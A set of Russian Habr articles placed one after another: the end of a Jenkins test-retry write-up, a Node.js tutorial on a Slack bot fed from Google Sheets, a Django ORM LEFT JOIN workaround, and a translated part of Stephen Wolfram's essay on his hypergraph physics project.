Вот так выглядит визуализация нашего настоящего прогона.
В реальном примере две ветки: мы параллельно запускаем два проекта с тестами (на Java и Kotlin). Можно заметить, что тесты одного проекта прошли с первого раза, а вот тесты другого пришлось дожимать еще раз. Таким образом визуализация помогает найти этап, на котором падают тесты.
А так выглядит реальный timeline приемки релиза.
После первого прогона отправили дожимать упавшие тесты. Во второй раз упавших тестов намного меньше, дожимаем в третий раз — и вуаля, успешный build.
Задача решена.
Итог
----
Мы перенесли логику перезапусков упавших тестов из тестового проекта на уровень выше — на CI. Таким образом сделали механизм перезапуска универсальным, более гибким и независимым от стека, на котором написаны автотесты.
Раньше наши тесты дожимались безусловно, по несколько раз, с неизменным количеством параллельных потоков. При перегрузке тестового стенда, некорректных настройках тестового окружения либо каких-то других проблемах — красные тесты перезапускались фиксированное число раз без шансов дожаться. В худшем случае прогоны могли длиться часами. Добавив условия fail fast, мы сократили это время.
При падении тестов инженер, ответственный за приемку, в некоторых ситуациях вручную стартовал джобу перезапуска, выполняя прогон с меньшим числом потоков. На это тоже уходило время. Добавив в условия пайплайна уменьшение числа потоков на перезапуске, мы сократили и это время.
Какой профит мы получили:
* уменьшили time-to-market тестируемых изменений,
* сократили длительность аренды тестового стенда под приемочное тестирование,
* увеличили пропускную способность очереди приемочного тестирования,
* не завязаны на тестовый фреймворк («под капотом» может быть что угодно — дожатия будут работать),
* поделились знаниями об использовании Jenkins Pipeline.
Примеры кода выложены на [GitHub](https://github.com/useriq/retry-flaky-tests/tree/master/jenkins-pipeline-retry). Если будут вопросы, задавайте — обязательно отвечу.
P.S.
----
А еще в нашей компании принято награждать ачивкой за какое-то достижение. Статья получилось достаточно подробной и многословной, а потому вас, дочитавших до конца этот лонгрид, хотелось бы поощрить.
Помимо +100 к опыту и знаниям Jenkins вы получаете ачивку "Ю Academic"! :)
 | https://habr.com/ru/post/538664/ | null | ru | null |
# Простое Slack приложение для публикации контента из Google Sheets
Мы любим пробовать новое, и поэтому часто делимся ссылками на интересную информацию из мира IT и программирования со своими коллегами. Мы являемся давними пользователями slack и для таких ссылок у нас есть отдельный образовательный канал, где каждый может найти для себя что-то интересное. Но так как мы обычные люди, периодически в пылу работы мы забываем о том, что нам надо делиться этими ссылками, и активность в канале затухает, хотя у многих из нас есть чем поделиться.
Перед нами встала интересная задача по разработке “бота”, который мог бы автоматически брать предварительно собранную информацию и делиться ссылками на нее на регулярной основе. Мы искали готовое решение в интернете, и теперь оно появилось [в виде интеграции zapier и slack](https://zapier.com/apps/schedule/integrations/slack/20429/send-regularly-scheduled-slack-messages-with-information-from-google-sheets).
Однако раньше такой интеграции мы не нашли и решили написать свой небольшой велосипед. Ниже будет описано, как именно мы это сделали.
При обдумывании задачи в голову пришел следующий вариант ее решения:
Javascript-код, получающий информацию об актуальных полезных ссылках из google-таблицы и отправляющий ее в Slack. Вызов скрипта из первого пункта по расписанию с помощью cron. Начнем по порядку.
### Получение токена для Slack.
Тут все просто и это было многократно описано в других статьях, поэтому приведу лишь краткое описание.
Есть два варианта, сделать свое Slack-приложение или воспользоваться legacy токенами, первый вариант чуть сложнее, но советуется Slack-ом, второй — более прост и вполне подходит для наших нужд, из-за простоты выберем именно его.
Открываем [ссылку для генерации нового токена](https://api.slack.com/legacy/custom-integrations/legacy-tokens) и создаем новый токен для нужного workspace (не забудьте скопировать его, токен выдается один раз).
В дальнейшем при реализации кода, взаимодействующего с API Slack и Google Sheets, мы сможем использовать этот токен по назначению.
Теперь нужно получить токен для Google Sheets. Первым делом открываем [Node.js Quickstart для Google Sheets](https://developers.google.com/sheets/api/quickstart/nodejs) и включаем Google Sheets API. Затем копируем код index.js из примера и выполняем его, проходим процесс авторизации и получаем учетные данные в файле, которые пригодятся для использования с нашем скрипте.
### Реализация скрипта
Теперь самое время начать разрабатывать скрипт для публикации сообщений из Google Sheets в Slack. С полным кодом скрипта можно ознакомиться, перейдя по [ссылке](https://github.com/noorsoft-mobile/google_sheets_to_slack).
Первым делом разберем часть кода, которая отправляет сообщения в slack-канал.
Это происходит с помощью вызова REST API Slack.
```
const post = async (text, channel = ) => {
const uri = `https://slack.com/api/chat.postMessage?token=${SLACK\_AUTH\_TOKEN}&channel=${channel}&text=${text}`;
const result = await fetch(encodeURI(uri), {
headers: {
'Content-Type': 'application/json',
},
method: 'POST',
body: JSON.stringify({
channel,
text,
as\_user: true
})
});
await result.json();
};
```
Для авторизации в Google API используются две функции (authorize, getNewToken), код которых взят из Node.js Quickstart, на них подробно останавливаться не будем.
Следующий интересный блок кода — получение информации для отправки из Google таблицы, это делается с помощью следующей функции:
```
const getMessageAndPost = async (auth, spreadsheetId = ) => {
const sheets = google.sheets({ version: 'v4', auth });
sheets.spreadsheets.values.get({
spreadsheetId,
range: 'Sheet1!A1:B999',
}, async (err, res) => {
if (err) return console.log('The API returned an error: ' + err);
const rows = res.data.values;
if (rows.length) {
// Print columns A and E, which correspond to indices 0 and 4.
const ix = rows.findIndex(r => !r[1]);
await post(rows[ix][0]);
sheets.spreadsheets.values.update({
spreadsheetId: '18VzilQTEDGXBnaH1f\_k-uAfa8Mb470gx32Phir6xQT4',
range: `Sheet1!B${ix + 1}`,
valueInputOption: 'RAW',
requestBody: {
range: `Sheet1!B${ix + 1}`,
values: [['x']]
}
})
} else {
console.log('No data found.');
}
});
};
```
Таблица, с которой скрипт взаимодействует имеет следующий вид:
Соответственно, для рядом с каждой ссылкой после отправки сообщения в Slack скрипт ставит “x”. Таким образом для поиска нужного для отправки сообщения стоит выбрать первую строку, в которой еще не стоит “x”, взять сообщение, отправить его и отметить выбранную строку.
Скрипт, который мы только что разобрали, достаточно прост и подтвердил свою работоспособность уже в течение нескольких лет в нашей команде. Нам осталось только задеплоить этот скрипт на сервер и наслаждаться его использованием.
Для этого в нашей компании мы используем обычный Ubuntu VPS на Digital Ocean (подойдет даже самый маломощный).
Первым делом необходимо настроить среду для выполнения javascript-кода, для этого необходимо установить node.js ([гайд по установке](https://www.digitalocean.com/community/tutorials/node-js-ubuntu-16-04-ru))
После этого настроим cron задачу для вызова скрипта по расписанию:
```
crontab -e
####
24 14 * * 1-5 cd /root/google-sheets-to-slack && node post.js
```
С помощью данных настроек ежедневно с понедельника по пятницу в 14:24 вызовут наш скрипт из папки /root/.
На этом настройка закончена, но внимательный читатель наверняка заметил некоторые недочеты в скрипте, например, если при вызове скрипта произойдет какая-то ошибка об этом мы никогда не узнаем, потому что он “тихо упадет” и все. Чтобы решить эту проблему можно добавить обработку ошибок и вывод результата вызова скрипта в ту же Google таблицу или файл с логами.
Также вместо отправки сообщения в фиксированное время можно отправлять его со случайной задержкой, чтобы наше сообщение больше походило на сообщение от “живого” пользователя.
Еще интересной идеей от одного из наших коллег было создать вторую таблицу, из которой бы сообщения отправлялись исключительно по пятницам и носили бы более развлекательной характер.
В общем, идей по доработке мы видим бесчисленное множество и будем их постепенно внедрять, но и в существующей форме этот скрипт вышел вполне юзабельным.
Пример таблицы, которую можно использовать доступен по [ссылке](https://docs.google.com/spreadsheets/d/1sF2FWAHZRRFuyhWKhnHZYd3ecCJyFPe-29cIHSPFbvo/edit?usp=sharing).
Спасибо за чтение и приятного использования. | https://habr.com/ru/post/489468/ | null | ru | null |
# Django-orm в поисках LEFT JOIN
Давно уже перестало быть секретом, что Django-ORM в целом глупое как палка и не способно решать более менее серьезные задачи, и особо глупа в тех случаях, когда необходимо влиять извне на формирование разумных SQL запросов. Об одном из таких случаев и как я пытался с этим бороться — поведаю под катом.
Все началось с того, что ковыряние базы TecDoc навеяло мне идею реализовать свою систему хранения переводов в бд. Не долго думая я накидал такие модельки для приложения переводов и одну для издевательства:
```
class Translations(models.Model):
" переводы "
text = models.TextField(null=True, blank=True)
lng = models.SlugField(max_length=32, choices=settings.LANGUAGES, db_index=True)
des = models.ForeignKey("Designations", db_index=True, related_name='translations')
class Meta:
verbose_name = _("translation")
verbose_name_plural = _("translations")
ordering = ['lng']
# db_table='mlang_translations'
class Designations(models.Model):
" описание (метка) перевода содержит только поле id"
class Meta:
verbose_name = _("designation")
verbose_name_plural = _("designations")
# db_table='mlang_designations'
class Page(MPTTModel):
content = models.ForeignKey('mlang.Designations', null=True, blank=True, related_name="+")
keywords = models.ForeignKey('mlang.Designations', null=True, blank=True, related_name="+")
description = models.ForeignKey('mlang.Designations', null=True, blank=True, related_name="+")
title = models.ForeignKey('mlang.Designations', null=True, blank=True, related_name="+")
code = models.CharField(max_length=256, db_index=True)
parent = TreeForeignKey('self', null=True, blank=True)
# db_table='flatpages_page'
```
Работает это следующим образом:
Множество моделей ссылаются на метки переводов после чего можно получить перевод для поля на один из языков. Количество запросов в самом простом случае будет `1 + количество полей, которые надо перевести * количество объектов в выборке`.
Как видно из описания моделей, переводимые поля и сами переводы ссылаются на одну и ту же метку, что позволяет с легкостью форсировать саму метку при выборке переводов за счет прямого JOIN'а перевода к нужному полю. И вот тут то и начинаются пляски с бубном.
Начнем пожалуй с варианта «в лоб», который лучше не использовать, если других вариантов не существует: [QuerySet.raw](https://docs.djangoproject.com/en/dev/topics/db/sql/) и получаем такой код:
```
Page.objects.raw("""
select
fpage.id id,
content_translated.text content_translated,
title_translated.text title_translated,
keywords_translated.text keywords_translated,
description_translated.text description_translated
from flatpages_page fpage
left join mlang_translations content_translated on fpage.content_id=content_translated.des_id and content_translated.lng=%s
left join mlang_translations description_translated on fpage.description_id=description_translated.des_id and description_translated.lng=%s
left join mlang_translations keywords_translated on fpage.keywords_id=keywords_translated.des_id and keywords_translated.lng=%s
left join mlang_translations title_translated on fpage.title_id=title_translated.des_id and title_translated.lng=%s
""", params=["ru", "ru", "ru", "ru"])
```
плюсы и минусы данного подхода расписывать думаю не надо.
естественно, если моделей много и/или надо получать переводы в нескольких вьюхах, и/или поля изменятся в какой-то момент — это будет кошмаром на яву.
начинаем активно гуглить на тему `django orm left join` дабы получить эквивалетный SQL запрос, но python/django way.
первое, что мне попалось на глаза — это подделать Q объект, так чтобы он превратился в LEFT JOIN: [QLeftOuterJoin](https://djangosnippets.org/snippets/257/), а если погуглить подольше и внимательнее можно заметить, что данное решение древнее как мамонты и примерно с 2010го года оно не работает. Попытки запустить успехом не увенчались.
потом в выдаче гугла встречаем некий "[хак](http://www.caktusgroup.com/blog/2009/09/28/custom-joins-with-djangos-queryjoin/)" из коробки над QuerySet.query, который стандартными средствами позволяет вшить кастомный INNER/LEFT JOIN в QuerySet и для нашей экспериментальной выборки код будет выглядеть вот так:
```
qs = Page.objects.filter(id__isnull=False) # костыль, иначе дальше не работает.
for field in Page._meta.local_fields:
if field.rel is not None and field.rel.to is Designations:
join = qs.query.join(
(Page._meta.db_table, Translations._meta.db_table, ((field.name+'_id', 'des_id'),)),
nullable=True, # это LEFT JOIN
join_field=Translations._meta.get_field_by_name('des')[0]
)
qs = qs.extra(
select={
field.name+"_translated": join+'.text'
},
where=[join+".lng=%s"],
params=['ru']
)
```
Расскажу, что тут происходит: перебираем все поля модели Page и для каждого ForeignKey(Designations) генерим уникальный JOIN. В docstring query.join написано:
> 'join\_cols' is a tuple of tuples containing columns to join on ((l\_id1, r\_id1), (l\_id2, r\_id2))
Т.е. 3-м элементом первого агрумента мы можем передать множество связывающих полей для условия, НО не можем сделать фильтрацию в пределах JOIN'a. В следствии чего в вызове qs.extra появились where и param, что в свою очередеть весь наш LEFT JOIN сломали в обычный INNER JOIN вида:
```
SELECT ... FROM
flatpages_pages, mlang_translations t1, mlang_translations_t2, .....
where
t1.lng='ru' AND t2.lng='ru' AND ......
```
С одной стороны можно сказать — это фича, если одно поле не переведено значит скрываем всю запись и отдаем 404ю. С другой стороны это совсем не то поведение, которое мне хочется по умолчанию.
Ну да ладно, идем дальше нормальным django way, описанном в документации: [QuerySet.extra](https://docs.djangoproject.com/en/dev/ref/models/querysets/#extra) и напишем такую вспомогательную функцию для автоматической генерации переводов к нужной модели:
```
def translate(model, lng, exclude=None):
if exclude is not None and not isinstance(exclude, (list, tuple, set, frozenset,)):
raise TypeError('exclude must be iterable')
fields = []
for field in model._meta.fields:
if field.rel is not None and field.rel.to is Designations:
if exclude is not None and field.name in exclude:
continue
fields.append(
[field.name, map(lambda x: x[1], field.rel.get_joining_columns())[0]]
)
if not fields:
return {}
return dict(
tables=[
'"{trans._meta.db_table}" AS "trans_{pos}"'.format(trans=Translations, pos=pos)
for pos, val in enumerate(fields)
],
select={
column[0] + "_translated": "trans_{0}.text".format(pos)
for pos, column in enumerate(fields)
},
where=[
"{model._meta.db_table}.{column[1]}=trans_{pos}.des_id and trans_{pos}.lng=%s".format(pos=pos,
column=column,
model=model)
for pos, column in enumerate(fields)
],
params=[lng] * len(fields)
)
```
Работает она довольно просто: перебирает все ForeignKey(Designations) из переданной модели и заполняет словарь для передачи в QuerySet.extra в итоге получается такой вызов:
```
Page.objects.extra(**translate(Page, lng))
```
Смотрится красиво, НО это те же яйца только в профиль, что и в п2, только чистокровный INNER JOIN в тексте запроса…
**upd:** Как и обещал дополняю статью новыми и окончательными результатми поиска ответов.
Все выше описанные способы опирались в основном на документацию и некоторые «хаки» без сильного углубления в подробности как это вообще работает в нутри.
Так вот, если посмотреть истодники класса Query в django.db.models.sql.query в частности саму функцию join можно заметить не хилую такую работу с словарями alias\_map и join\_map. join\_map из себя представляет ни что иное как обычный словарь где в роли влюча идут кортежи, которые мы передаем 1м аргументом при вызове join, а значением выступает кортеж alias'ов для для точной идентификации join'a в запросе. alias\_map же в роли ключей применяет те самые alias'ы, а в роли значения дескриптор самого JOIN'a, который потом и будет преобразован в SQL. Тип и формат дексриптора сводится к виду:
```
JoinInfo = namedtuple('JoinInfo',
'table_name rhs_alias join_type lhs_alias '
'join_cols nullable join_field')
```
Само преобразование в SQL жестко захардкоржено, что полностью исключает вохможность без некого monkey patching'a в недрах django добавить возможность генерации JOIN'в умнее чем
```
LEFT OUTER JOIN table alias ON main_table.field=alias.field
```
НО, есть одно весомое но:
В погоне изящного решения я умудрился упустить из виду тот факт что наш left join из п.2 в целом и полностью рабочий и отвечает всем требованиям, но немного недосолен. Как написано во всех учебниках по SQL: LEFT JOIN подставляет NULL во все отсутствующие правые выборки, а следовательно мы можем раширить условие WHERE так чтобы п2 превратился в адекватный JEFT JOIN эквивалентый тому что описан в самом начале статьи. И код из п2 будет выглядеть вот так:
```
qs = Page.objects.filter(id__isnull=False) # иначе не запустится
for field in Page._meta.local_fields:
if field.rel is not None and field.rel.to is Designations:
alias = qs.query.join(
(Page._meta.db_table, Translations._meta.db_table, ((field.name+"_id", 'des_id',),)),
nullable=True,
join_field=Translations._meta.get_field_by_name("des")[0]
)
qs = qs.extra(
select={field.name+"_translated": alias+'.text'},
where=["{0}.lng='{1}' or {0}.lng is null".format(alias, 'ru')], # добавил or lng is null
)
```
на выходе получаем данные абсолютно идентичные SQL из Query.raw, вот только усложнили WHERE за счет переноса сюда фильтрации по языку, что поубавило читабельность конечного SQL и не могу однозначно сказать как это сказывается на скорости исполнения SQL на уровне бд относительно исходному. В целом можно сказать, что задача была решена, я смог избавиться от огромного количества ненужных запросов к бд за счет построения более умных запросов к бд не прибегая в написанию чистого SQL, что в свою очередь гарантирует переносимость кода между разными СУБД.
P.S: надеюсь кому-нибудь это небольше исследование поможет спать споконее.
Исходники можно пощупать на [github.com](https://github.com/alexandr-nino/demo_ehop). | https://habr.com/ru/post/230507/ | null | ru | null |
# Стивен Вольфрам: кажется, мы близки к пониманию фундаментальной теории физики, и она прекрасна
*В продолжение моего [поста](https://habr.com/ru/post/517888/) про вычислимую Вселенную я хочу представить вам свой перевод статьи Стивена Вольфрама, созданной в рамках его проекта The Wolfram Physics Project*.
### Неожиданное открытие
За прошедшие несколько веков произошел настоящий прорыв в наших знаниях о принципах работы окружающего нас мира. Но несмотря на это, у нас все еще нет фундаментальной теории физики, и мы все так же не имеем ответа на вопрос о том, как именно работает наша Вселенная. Я занимаюсь этой темой уже порядка 50-и лет, но только в последние несколько месяцев все кусочки пазла наконец-то начали складываться вместе. И получающаяся картина оказалась гораздо прекрасней, чем все, что я только мог себе представить.
В те времена, когда я зарабатывал себе на жизнь теоретической физикой, я не особо задумывался над поиском так называемой «теории всего». Я был больше озабочен тем, чтобы извлечь что-нибудь новое из тех теорий, которые у нас уже есть. И я думал, что даже если когда-нибудь и появится единая фундаментальная теория физики, то она неизбежно окажется очень сложной и запутанной.
Но когда в начале 80-х я начал изучать теорию клеточных автоматов, я осознал, что работающие даже по очень простым правилам системы могут иметь поразительно сложное поведение. И это натолкнуло меня на мысль: может быть Вселенная устроена схожим образом? Может быть под всей кажущейся сложностью и многогранностью нашей Вселенной скрываются очень простые правила?
В начале 90-х годов у меня сформировалось некоторое понимание того, как эти правила могли бы выглядеть, и ближе к концу того десятилетия я начал понимать, как из этих простейших правил мы можем вывести наши знания о пространстве, времени, гравитации и всех других физических явлениях. Этим идеям «вычисления» законов физики я посвятил около 100 страниц в своей книге [A New Kind of Science](https://www.wolframscience.com/nks/).
Мне всегда хотелось начать большой исследовательский проект, чтобы продвинуться в этом направлении дальше. Я пытался начать такой проект в 2004 году, но сильно увяз в работе над Wolfram Alpha и Wolfram Language. Время от времени я встречался со своими друзьями-физиками и мы обсуждали мои идеи. Это были интересные разговоры, но мне казалось, что поиск фундаментальной теории физики — это слишком сложное занятие, доступное только реально увлеченным фанатикам.
Было что-то, что сильно беспокоило меня в моих идеях. Правила, определяемые моей теорией, казались мне слишком негибкими и надуманными. Как создатель языка для математических вычислений, я постоянно думал об абстрактных системах правил. И очень часто у меня было ощущение, что что-то подобное может быть и в физике. Но мои рассуждения никогда никуда меня не приводили. Пока внезапно осенью 2018 года у меня не появилась интересная идея.
В некотором смысле эта идея была простой и очевидной, хотя и очень абстрактной. Но кроме того, она была очень элегантной и минималистичной. Мне показалось, что я очень близок к пониманию того, как работает наша Вселенная. К сожалению, я был жутко занят развитием Wolfram Alpha, и не смог выделить времени на еще один проект. Все изменилось, когда на нашей ежегодной летней школе в 2019 году я встретил двух молодых физиков — Джонатана Горарда и Макса Пискунова, которые вдохновили меня наконец-то сесть за проработку своих идей. Физика всегда была моей страстью, и вот после своего 60-летнего юбилея в августе 2019 года я наконец-то решился сделать это.
Итак, вместе с двумя вдохновившими меня молодыми физиками в октябре 2019 года мы начали наш проект. И не успев начать наши исследования, мы сразу же стали наталкиваться на очень интересные находки. Мы воспроизвели все, что я разрабатывал в 90-х годах, но гораздо более элегантным способом. Из маленьких бесструктурных правил мы вывели пространство, время, относительность, гравитацию и намеки на квантовую механику.
Мы провели миллионы экспериментов, проверяя свои догадки. Постепенно все начало проясняться, мы начали примерно понимать как работает квантовая механика. Мы поняли, что такое энергия. Мы вывели [формулировку квантовой теории через интегралы по траекториям](https://ru.wikipedia.org/wiki/%D0%A4%D0%BE%D1%80%D0%BC%D1%83%D0%BB%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_%D0%BA%D0%B2%D0%B0%D0%BD%D1%82%D0%BE%D0%B2%D0%BE%D0%B9_%D1%82%D0%B5%D0%BE%D1%80%D0%B8%D0%B8_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D0%B8%D0%BD%D1%82%D0%B5%D0%B3%D1%80%D0%B0%D0%BB%D1%8B_%D0%BF%D0%BE_%D1%82%D1%80%D0%B0%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D0%B8%D1%8F%D0%BC), созданную моим покойным другом и учителем Ричардом Фейнманом. Мы увидели некоторые глубокие структурные связи между относительностью и квантовой механикой. Все встало на свои места. Мы начали понимать не только как работают законы физики, но и почему.
Я и мечтать не мог о том, что наш прогресс будет настолько стремительным. Я ожидал, что наши исследования будут идти гораздо медленнее, что если повезет, мы будем потихоньку продвигаться в понимании законов физики и того, что происходило с нашей Вселенной в первые секунды ее существования, и что мы потратим долгие годы на эти изыскания. В конце, если у нас будет полная фундаментальная теория физики, мы сможем найти конкретную единую формулу для нашей Вселенной. И даже сейчас я не знаю, как долго это займет: год, десятилетие или даже целый век. Несколько месяцев назад я не был даже уверен, что мы на верном пути. Но сегодня все изменилось. Слишком многое встало на места. Мы еще не знаем точных деталей и того как именно настроены шестеренки нашего мира, но я полностью уверен, что имеющаяся у нас модель однажды расскажет нам о том, как устроена Вселенная.
Самый верный признак качества научной модели — простые законы объясняют сложные эффекты. И наша теория как никакая другая соответствует этому эмпирическому правилу. Из простейших формул мы получаем целые разделы современной физики. И что наиболее удивительно — нам до сих пор не пришлось вводить для этого никаких дополнительных параметров. Мы просто ищем объяснения физических явлений в самих свойствах нашей модели, не добавляя ничего сверх того.
В основе нашей модели лежат настолько простые правила, насколько это только возможно. Забавно, что эти правила могут быть записаны в одну строчку на Wolfram Language. В сыром виде, они не очень похожи на все те математические структуры, что мы знаем. Но как только мы смотрим на результаты многоитерационного рекурсивного применения этих правил, то становится ясно насколько элегантно они связаны с современной математикой. То же самое и с физикой. Базовая структура наших моделей выглядит абсолютно чуждой всему, что было сделано в физике за последние несколько столетий. Но то, что мы получили изучая наши модели, было изумительно: мы обнаружили, что многие теории, созданные физиками в последние десятилетия, отлично ложатся на нашу модель.
Я боялся, что мне придется выкинуть все существующие достижения науки. Но оказалось, что несмотря на то, что наша модель, подход и методы очень сильно отличаются от всех существующих, в основе нашей теории лежит все то, над чем физики работают последние десятки лет.
После мы начнем физические эксперименты. Если бы вы спросили меня пару месяцев назад, когда мы получим какие-либо проверяемые выводы из наших моделей, я бы ответил, что нескоро и точно до того, как мы найдем финальную формулу. Но сейчас мне кажется, что я был неправ. И фактически мы уже получили некоторые догадки о неизведанных причудливых явлениях, существование которых можно экспериментально подтвердить.
Что же дальше? Я буду рад сказать, что я думаю, что мы нашли дорогу к фундаментальной теории физики. Мы построили парадигму, фреймворк и вычислительные инструменты для нее. Но теперь мы должны закончить работу. Мы должны проделать тяжелую работу по физическим, математическим и алгоритмическим расчетам и узнать, можем ли мы наконец-то ответить на мучающий нас тысячелетиями вопрос о том, как работает наша Вселенная.
Я хочу разделить с вами этот волнующий момент. Я с нетерпением жду того, чтобы многие люди приняли участие в нашем проекте. Этот проект ведь не только мой и моей маленькой команды. Это проект важный для всего мира. И когда мы закончим его, он станет нашим величайшим достижением. Поэтому я хочу, чтобы как можно больше людей поучавствовали в нем. Да, многое, что нужно сделать, требует нетривиальных познаний в физике и математике, но я хочу распространить информацию о проекте как можно шире, чтобы каждый мог внести свой вклад и вдохновиться тем, что станет величайшим в истории интеллектуальным приключением.
Мы официально запускаем наш [Wolfram Physics Project](https://www.wolframphysics.org/). Начиная с сегодняшнего дня мы будем транслировать все, что мы делаем и делиться нашими открытиями со всем миром в реальном времени. Я публикую все наши материалы и весь наш софт для расчетов. Мы будем постоянно выкладывать сводки о нашем прогрессе и различные образовательные материалы.
Также мы выкладываем в открытый доступ [Реестр Замечательных Вселенных](https://www.wolframphysics.org/universes/). Он заполнен примерно тысячью правил. Я не думаю, что даже хотя бы одно из них относится к нашей Вселенной, хотя я и не могу быть полностью уверенным в этом. Но однажды, и я надеюсь это однажды наступит уже очень скоро, в нашем реестре появится правило, полностью описывающее нашу Вселенную.
### Общие принципы
Так как же работает наша модель? Я написал 448-страничное [техническое изложение](https://www.wolframphysics.org/technical-introduction) наших идей (да, я изрядно поработал в течение предыдущих нескольких месяцев). Другой член нашей команды Джонатан Горард написал две 60-страничные [технических статьи](https://www.wolframphysics.org/technical-documents/). На странице нашего проекта доступно еще несколько материалов по данной теме. Но в этой статье я собираюсь дать краткое изложение общих положений нашей теории.
Все начинается с самого простого множества абстрактных отношений между абстрактными элементами, которое также может быть представлено в виде графа.
Предположим, у нас есть множество отношений:
`{{1, 2}, {2, 3}, {3, 4}, {2, 4}}`
которое в виде графа выглядит так:
Все, что мы определяем здесь — это отношения между элементами (например {1, 2}). Порядок, в котором мы объявляем эти отношения, не имеет значения, а вот порядок элементов внутри каждого отношения важен. И при зарисовке графа имеет значение только то, что с чем соединено. Фактическое расположение элементов на рисунке выбрано только из соображений красоты и ничего другого. Также не имеет значения, как называются элементы. Я пронумеровал их на рисунках, но можно было бы этого и не делать.
Так что же мы будем делать с этими графами? Мы будем применять к ним очень простое правило много много раз. Вот пример подобного правила:
`{{x, y}, {x, z}} → {{x, z}, {x, w}, {y, w}, {z, w}}`
Это правило гласит, что мы должны взять два отношения из множества и проверить их на соответствие образцу {{x,y},{x,z}}. Если есть совпадение, то мы заменяем эти два отношения четырьмя отношениями {{x, z}, {x, w}, {y, w}, {z, w}} (где w — это новый элемент множества).
Мы можем представить эту трансформацию как операцию над графами:
Теперь давайте применим это правило к нашему множеству:
`{{1, 2}, {2, 3}, {3, 4}, {2, 4}}`
Отношения {2,3} и {2,4} соответствуют нашему образцу, так что мы заменяем их на четыре новых отношения и получаем:
`{{1, 2}, {3, 4}, {2, 4}, {2, 5}, {3, 5}, {4, 5}}`
Мы можем представить результат в виде графа (я нарисовал его перевернутым по отношению к изначальному):
Что будет, если мы продолжим применять это правило к нашему множеству рекурсивно? Результат будет выглядеть так:
Давайте сделаем это еще пару раз и получим более общую картину:
Что произошло? У нас было очень простое правило. Но рекурсивное применение этого правила породило структуру, выглядящую очень сложным образом. Здравый смысл подсказывает нам, что так не бывает. Но в действительности такое спонтанное зарождение сложности встречается повсеместо при применении простейших правил к простейшим структурам. Вся моя книга A New Kind of Science посвящена этому феномену и тому, почему изучение этого феномена критически важно для современной науки.
Именно из таких простых структур и правил мы выведем принципы работы нашей Вселенной и всего, что в ней есть. Давайте еще раз посмотрим на то, что мы сделали. Мы взяли простое множество абстрактных отношений и стали рекурсивно применять к нему простое правило преобразования. Но то, что мы получили, простым назвать никак нельзя. И самое главное, у получившегося объекта становится заметна некая форма. Мы не вкладывали никакого смысла в эту форму. Мы просто взяли простейшее правило, и используя это правило мы построили граф. При визуализации этого графа мы видим, что он принимает определенную форму.
Если мы исключим всю материю во Вселенной, то окажется, что наша Вселенная это просто громадный кусок пространства. Но что такое пространство? У нас есть математические абстракции пространства уже более двух тысяч лет. Но что это пространство? Состоит ли оно из чего-то, и если состоит, то из чего именно?
Я думаю, что пространство похоже на картинки сверху — это целый сгусток связанных друг с другом абстрактных точек. Только на картинке сверху всего 6704 точек, тогда как в реальной Вселенной их около `10^400` или даже больше.
### Все возможные правила
Мы пока не знаем точное правило, отражающее нашу Вселенную — и это точно не то правило, которое мы только что рассматривали. Так давайте же обсудим какие возможные правила бывают, и что из них получается.
Характерной чертой правила, которое мы рассматривали выше, было то, что оно работает с множествами бинарных отношений, содержащих пары элементов (например {1, 2}). Но та же самая система может работать с отношениями, содержащими большее количество элементов. Вот например, множество из двух троичных отношений:
`{{1, 2, 3}, {3, 4, 5}}`
Мы не можем представить это множество в виде обычного графа, но мы можем использовать гиперграф — конструкцию, в которой мы обобщаем ребра графа, которые соединяют пары точек, в гипер-ребра, соединяющие любое количество точек:
Заметьте, что мы имеем дело с направленными гиперграфами, где порядок, в котором находятся точки в гипер-ребре имеют значение. На этой картинке «мембраны» просто означают то, какие точки соединены в одно гипер-ребро.
Мы точно так же можем задать правила для гиперграфа:
`{{x, y, z}} → {{w, w, y}, {w, x, z}}`
И вот что будет, если мы применим это правило к простейшему возможному троичному множеству `{{0,0,0}}`:
Отлично! В таком случае, что будет, если мы начнем запускать разные случайные простые правила? Вот [некоторые результаты](https://www.wolframphysics.org/technical-introduction/typical-behaviors/rules-with-signature-22-42) таких запусков:
Вам не кажется, что все эти структуры выглядят очень «по-живому»? И да некоторые эти модели определенно могут иметь отношение не только к фундаментальной физике, но и например к конструкции биологических клеток. По факту, мы видим здесь различные общие формы поведения. Некоторые из них простые, некоторые не очень.
Вот [примеры](https://www.wolframphysics.org/technical-introduction/typical-behaviors/rules-with-signature-22-42) типов структур, которые мы видим:
Главный вопрос состоит в том, что: если мы будем прогонять эти правила достаточно долго, выдадут ли они нам результат, воспроизводящий нашу физическую Вселенную? Или формулируя по-другому, можем ли мы найти в этой вычислимой по простым правилам математической структуре нашу физическую Вселенную?
И даже если наша физическая Вселенная там присутствует, как мы можем в этом убедиться? Все что мы видим на картинках выше — результат нескольких тысяч итераций. В нашей настоящей Вселенной было произведено около `10^500` итераций, а может быть даже больше. Преодолеть эту разницу непросто. И мы должны идти к разрешению этой проблемы с обеих сторон. С одной стороны, мы должны использовать все наши знания о физике нашей Вселенной, которые мы получили за предыдущие несколько сотен лет. С другой стороны, мы должны изучать эти самые простейшие правила преобразования графов и понимать, что именно они делают.
И даже здесь есть потенциально фундаментальная проблема: феномен вычислительной несократимости. Одно из величайших достижений математики произошло около трех столетий назад: были изобретены уравнения и формулы, которые говорили как система ведет себя без описания каждого шага, который эта система совершает. Но еще много лет назад я понял, что в вычислимой Вселенной очень часто сделать это оказывается невозможно. Даже если вы знаете точное правило, по которому работает система, вы не можете понять, как эта система работает без выполнения каждого шага вычисления.
Вы можете подумать, что если мы знаем правило, которому следует система — тогда, используя всю вычислительную мощь наших компьютеров и мозгов, мы всегда можем «запрыгнуть вперед» и понять, как система будет вести себя. Но в действительности этому мешает эмпирический закон, который я называю Принципом Вычислительного Равенства — почти в любом случае, когда поведение системы не очевидно простое, то не существует алгоритма расчета состояния системы после определенного количества итераций с вычислительной сложностью меньшей, чем вычислительная сложность осуществления всех этих итераций. Так что мы не сможем «обогнать» вычисление, и чтобы понять, как система работает, нам придется выполнить несократимое количество шагов.
Для наших моделей это может оказаться потенциально большой проблемой. Потому что мы не можем даже приблизиться по количеству выполняемых итераций к тому числу итераций, которое произвела наша Вселенная с начала своего существования. Также не совсем понятно, сможем ли мы извлечь достаточно информации из прогонки наших моделей на доступных нам вычислительных мощностях и понять, как эта информация соотносится с известными нам законами физики.
